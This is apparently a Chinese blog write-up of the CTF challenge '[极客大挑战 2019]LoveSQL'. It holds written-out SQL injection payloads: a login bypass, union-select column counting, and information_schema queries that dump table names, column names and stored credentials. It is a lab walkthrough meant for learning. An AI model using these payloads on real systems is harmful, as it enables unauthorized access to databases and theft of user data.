[极客大挑战 2019]LoveSQL1
来了。。。。。继续来做题
由于上题结束的太突然,我又不想摸鱼,所以再来一题。
。
。
。
嚯,好熟悉的界面,看来应该是同一个师傅出的题啊,那题目的类型八成应该也是sql注入了。
依旧观察互动按钮,F12查看源代码,尝试输入。
没什么发现,试试万能公式。
1' or 1=1#
,他似乎有双重判定,所以密码框也不能为空
哦?难道说?不会是?
好吧,并不是flag,看来得按流程一步步来联合查询了。
但有一点值得庆幸的是,我们知道了它是单引号闭合的sql语句。
在进行注入之前呢我们需要认识知道几组数据名与函数。
information_schema ---------------------数据库系统自带的数据库
information_schema.tables-------------上述数据库自带的数据表
information_schema.columns----------上述数据表自带的字段名
上述内容提供了访问数据库元数据的方式。
- 什么是元数据呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。简单来说就是在作为条件的时候代替简单的
datdabse
,table
,column
等名称,且一般不会出错,因为每个数据库系统都会自带这些数据。
group_concat,简单来说就是一个能将相同的行组合起来的函数
一般语法为:group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator '分隔符'])
.
.
.
以上都是我从百度上copy下来的,说实话真要我解释为什么哪步为什么要用什么,可以,但说不清,所以还是意会比较好。
好了,来干正事了。
首先我们需要知道我们想要查询的数据表一共有几个字段,开始尝试
?username=1' union select 1#
?username=1' union select 1,2#
?username=1' union select 1,2,3#
?username=1' union select 1,2,3,4#
再尝试它是否有四个数据段时,发生了报错,证明该表只有三个字段。
接下来我们需要知道题目中有哪些数据库。
?username=1' union select 1,database(),3#
因为可以猜测题目的三个字段可能为id
,username
,password
,而根据上面的尝试可以知道,题目只会回显username
和password
字段,所以把database()
放在2,3的位置都可。
我们可以得到数据库名为geek
。
接下来我们需要知道该数据库中有哪些表。
?username=1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()#
其他的上面都解释过了,table_chema
呢,就是代表表所属的数据库。
其实和正常的mysql语句没什么太大的差别,只是把熟悉的,简单的名称换成了不熟悉的,复杂的名称。熟悉熟悉就好了,以后经常用到的。
好了,我们得知,在geek
表中有两个表,但我们不知道我们想要的东西在哪个表中,所以只能一个个尝试。
先来尝试第一个表,查询该表中的各字段名。
?username=1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='geekuser'#
注:在这里geekuser
是表示一个字段,所以要用单引号括起来。
嗯,和我们刚开始猜测的一样,那么我们就来查询这些字段名的内容吧
?username=1' union select 1,database(),group_concat(id,username,password) from geekuser#
有。。。。???这一串东西怎么这么眼熟。
等等,这不就是我一开始用万能密码试出来的东西吗,
嗯,看来我们想要的东西在另一个表里。
用同样的方法去查询另一个表。
呜呼,这次一个没错了,但他还搞了这么长一串,把flag放在最后,但是没有关系,我们已经成功了。
We’re the champion!!!!